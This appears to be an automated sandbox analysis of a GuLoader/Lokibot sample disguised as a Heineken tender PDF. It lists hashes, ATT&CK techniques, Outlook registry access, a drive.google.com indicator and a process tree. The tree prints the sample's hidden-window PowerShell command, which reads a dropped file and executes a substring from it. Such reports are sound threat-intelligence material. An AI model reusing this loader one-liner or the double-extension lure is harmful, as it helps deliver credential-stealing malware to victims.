guloader | 0553301c132cf8448f4fcaa99d7a57705d0824683547f303669eea418bf79729

General

Target

Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe
Size

549KB
MD5

ec67ad62fd11245af1b99b2d157f5359
SHA1

de0ac7c5f66cbf75e3e7cb4faa07269639e1b46b
SHA256

0553301c132cf8448f4fcaa99d7a57705d0824683547f303669eea418bf79729
SHA512

7d9c206b36d8afbbf056e8aacbe92fe1cdb062fd194e026cdeab3f6f810750767d2200025d49c40ce7ef3b006d9f2774bb8a0cd028a243b63ebf15db504348b1
SSDEEP

12288:tLfCKKKKKI1KFeGkSrsU6ydhrSbWbGf/KFWCvvew3mU8FlcxE3Xv/OIPjA2:tBEk6yamGfyZz8GA/OYA2

Score

10^/10

guloader lokibot collection downloader execution spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1620	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1620	powershell.exe
2248	Optagelsesprvers.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Optagelsesprvers.exe
Key opened	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	Optagelsesprvers.exe
Key opened	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Optagelsesprvers.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2248	Optagelsesprvers.exe
2248	Optagelsesprvers.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1620	powershell.exe
2248	Optagelsesprvers.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1620 set thread context of 2248	1620	powershell.exe	31

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000015ce1-22.dat	nsis_installer_1
behavioral1/files/0x0009000000015ce1-22.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1620	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	2248	Optagelsesprvers.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 1620	1628	Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe	28
PID 1628 wrote to memory of 1620	1628	Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe	28
PID 1628 wrote to memory of 1620	1628	Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe	28
PID 1628 wrote to memory of 1620	1628	Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe	28
PID 1620 wrote to memory of 2248	1620	powershell.exe	31
PID 1620 wrote to memory of 2248	1620	powershell.exe	31
PID 1620 wrote to memory of 2248	1620	powershell.exe	31
PID 1620 wrote to memory of 2248	1620	powershell.exe	31
PID 1620 wrote to memory of 2248	1620	powershell.exe	31
PID 1620 wrote to memory of 2248	1620	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Optagelsesprvers.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Optagelsesprvers.exe

C:\Users\Admin\AppData\Local\Temp\Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Ajánlatkérés - Heineken Greenfield Plant Project 07-17-2024·pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Bagtankers=Get-Content 'C:\Users\Admin\AppData\Local\Bagtes\Frerbeviserne.Pan';$Induism=$Bagtankers.SubString(69121,3);.$Induism($Bagtankers)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Users\Admin\AppData\Local\Temp\Optagelsesprvers.exe
    "C:\Users\Admin\AppData\Local\Temp\Optagelsesprvers.exe"
    3⤵
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Bagtes\Frerbeviserne.Pan

Filesize
67KB

MD5
ab3acc3d594c8267c45427b115572231

SHA1
cc985bf32bb1a2151d45907f8a2ac94032e6ac63

SHA256
c8106f3fc8423f7e87126a2460cab708332e35cc6b690f65343cbcbe13cad081

SHA512
b023a18c8a27f6a365ba0064facb5681fc4e4ceb850e66a4461dfcf7ebbf401d0eddcb7bac6e549abcd302a47f2205354a1bebbd9c8240739def8fa6fdaa61e0

Download Submit
C:\Users\Admin\AppData\Local\Bagtes\Kwarterka.Pra

Filesize
339KB

MD5
39ce4f1df097caca3c6b7dc81da870ab

SHA1
b605197b14918c8b08d0b5865774d157cffe2bb5

SHA256
725427217458c4adf7b2f391c2d50cfb500087db2b0c61e6c85bacb2d896a4de

SHA512
e50c66c3bf33a85f0709f99739b03dd4e9bbeddba71a60d768d20c06cbde74215b3a83bacef1891240553a9665adc5fc0aef8bb93480bca51f5828d98f9b3188

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3450744190-3404161390-554719085-1000\0f5007522459c86e95ffcc62f32308f1_35dd7637-4d7c-4a57-bd86-689f7bd65008

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3450744190-3404161390-554719085-1000\0f5007522459c86e95ffcc62f32308f1_35dd7637-4d7c-4a57-bd86-689f7bd65008

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
\Users\Admin\AppData\Local\Temp\Optagelsesprvers.exe

Filesize
549KB

MD5
ec67ad62fd11245af1b99b2d157f5359

SHA1
de0ac7c5f66cbf75e3e7cb4faa07269639e1b46b

SHA256
0553301c132cf8448f4fcaa99d7a57705d0824683547f303669eea418bf79729

SHA512
7d9c206b36d8afbbf056e8aacbe92fe1cdb062fd194e026cdeab3f6f810750767d2200025d49c40ce7ef3b006d9f2774bb8a0cd028a243b63ebf15db504348b1

Download Submit
memory/1620-19-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-17-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-14-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-10-0x0000000074541000-0x0000000074542000-memory.dmp

Filesize
4KB

Download
memory/1620-20-0x0000000006500000-0x000000000B2DA000-memory.dmp

Filesize
77.9MB

Download
memory/1620-21-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-13-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-12-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/1620-11-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/2248-26-0x0000000000400000-0x0000000001462000-memory.dmp

Filesize
16.4MB

Download
memory/2248-43-0x0000000000400000-0x0000000001462000-memory.dmp

Filesize
16.4MB

Download
memory/2248-49-0x0000000001470000-0x000000000624A000-memory.dmp

Filesize
77.9MB

Download

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